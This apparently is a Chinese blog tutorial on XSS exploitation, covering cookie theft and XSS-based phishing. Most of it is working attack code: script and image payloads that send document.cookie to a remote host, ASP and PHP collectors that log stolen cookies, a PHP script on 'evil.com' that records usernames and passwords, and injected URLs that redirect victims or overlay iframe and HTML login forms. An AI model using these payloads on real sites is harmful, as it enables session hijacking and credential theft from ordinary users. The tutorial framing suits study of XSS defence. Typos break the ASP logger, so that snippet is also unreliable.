XSS (2)

XSS利用方式

Cookie窃取攻击

XSS攻击中最常见的应用方式之一

cookie的操作

通过Document对象访问Cookie。若要创建一个Cookie,只要将特定格式的字符串赋给document.cookie

常见cookie属性:

Domain——设置关联cookie的域名
Expires——通过给定一个过期时间来创建一个持久化Cookie
HttpOnly——用于避免cookie被JavaScript访问
Name——Cookie的名称
Path——关联到cookie的路径
Value——读写cookie的值
Secure——用于指定Cookie需要通过安全Socket层连接传递

创建一个cookie,需要提供cookie的名字、对应值、过期时间、相关路径等,以PHP为例,使用setcookie()能轻易创建一个cookie

<?
setcookie('user_id',123);
?>

若要删除cookie,设定Cookie的Expires的值为过去时间即可:

setcookie('user_id',0,time()-1);   //删除cookie变量

cookie会话攻击原理刨析

窃取cookie的人不需要知道这些字符串的含义,只要把cookie向服务器提交并通过验证后,就可以冒充受害人的身份登陆网站。

攻击者通常利用XSS漏洞发起攻击。假设一个网站存在存储型XSS(或反射型),攻击者就可以像漏洞页面写入窃取cookie信息的恶意代码。

攻击者可以使用以下几种方法获取客户端的cookie信息:

<script>
document.location="http://www.test.com/cookie.asp?cookie="+document.cookie
</script>

<img src="http://www.test.com/cookie.asp?cookie='+document.cookie"></img>

<script>
new Image().src="http://www.test.com/cookie.asp?cookie="+document.cookie;
</script>

<script>
img=new Image();
img.src="http://www.test.com/cookie.asp?cookie="+document.cookie;
img.width=0;
img.height=0;
</script>

<script>
document.write('<img src="http://www.test.com/cookie.asp?cookie='+document.cookie+'"width=0 height=0 border=0 />');
</script>

在远程服务器上有一个接收和记录Cookie信息的文件

asp:
<%
msg=Request.ServerVariable("QUERY_STRING")
testfile=Server.MapPath("cookie.txt")
set fs=server.CreatObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(textfile,8,True,0)
thisfile.Writeline(""&msg&"")
thisfile.close
set fs=nothing
%>

php:
<?php
$cookie=$_GET['cookie'];
$log=fopen("cookie.txt","a");
fwrite($log,$cookie."\n");
fclose($log);
?>

攻击者在获取受害者的Cookie信息后们还需要与Web浏览器建立会话,才能完全侵入用户的账户。建立绘画通常使用一些能够修改Cookie的工具,如桂林老兵的Cookie欺骗工具、Firefox的插件Firecookie等

网络钓鱼

XSS Phishing

XSS跨站脚本最大的特性是能够在网页中插入并运行JavaScript,不仅能劫持用户的当前会话,同时控制浏览器的行为。利用这一点,攻击者能实施完美的钓鱼攻击,这种基于XSS的钓鱼技术称为XSS Phinshing

1. 钓鱼页面

攻击者会构造钓鱼页面。一般钓鱼网站的主要内容是登陆表单部分,其代码可以从真实网站的页面复制过去,例如:

<form method="post" action="index.php?action=login">
<input type="text" name="username" value="Nick" /><br />
<input type="password" name="password" value="Pass" /><br />
<input type="submit" name="login" value="Submit" />
</form>

修改登陆表单的地址。假设远程服务器接收信息的页面为 get.php,就要改变<form>标签中的action的值

<form method="post" action="http://www.evil.com/get.php">

2.记录信息的脚本

在远程服务器上(http://www.evil.com)上,会存放一个用来接收和记录账号和密码信息的文件(get.php)

<?php
$data=fopen("login.txt","a+");
$login=$_POST['username'];
$pass=$_POST['password'];
fwrite($data,"Username: $login\n");
fwrite($data,"Password: $pass\n");
fclose($data);
Header("location: http://target.com");
?>

这段代码用来接收输入的账号和密码,保存,用PHP的header()函数实现页面跳转,让页面跳转到正常访问的网站

3. XSS Phishing Expliot

攻击者在XSS页面插入利用代码:

http://www.bug.com/index.php?s=<script src=http://evil.com/xss.js></script>

当用户访问这个连接,就会动态调用远程的xss.js文件,该文件作用创建一个Iframe框架覆盖目标页面,再加载远程域伪造的钓鱼页面

这里使用document.body.innerHTML方法插入代码:

document.body.innerHTML=(
'<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">'+
'<iframe src=http://www.evil.com/phishing.html width=100% height=100%>'+
'</iframe></div>'
);

XSS钓鱼的方式

1. XSS重定向钓鱼

把当前页面重定向到一个钓鱼网站上。例如www.bug.com为漏洞网站,那么钓鱼网站www.evil.com就会完全仿冒网站的页面内容及行为,精心钓鱼等诈骗

http://www.bug.com/index.php?search=[Expliot]

那么,Expliot利用:

http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>

2.HTML注入式钓鱼

HTML注入式钓鱼是指直接利用XSS漏洞注射HTML/JavaScript代码到页面中

http://www.bug.com/index.php?serach="'<html><head><title>login</title></head><body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br /><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>

这段代码会嵌入一个正常的表单,构造一个登陆表单,该表单可以覆盖原页面显示

3. XSS跨框架钓鱼

这种方式是通过<iframe>标签嵌入远程域的一个页面实施钓鱼

XSS phishing Expliot如下:

http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"></iframe>

4. flash钓鱼

flash钓鱼甚至不要求网站存在XSS漏洞,只要攻击者精心构造的flash文件上传到远程服务器,然后再目标网站使用<object>或<embed>引用flash即可

阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页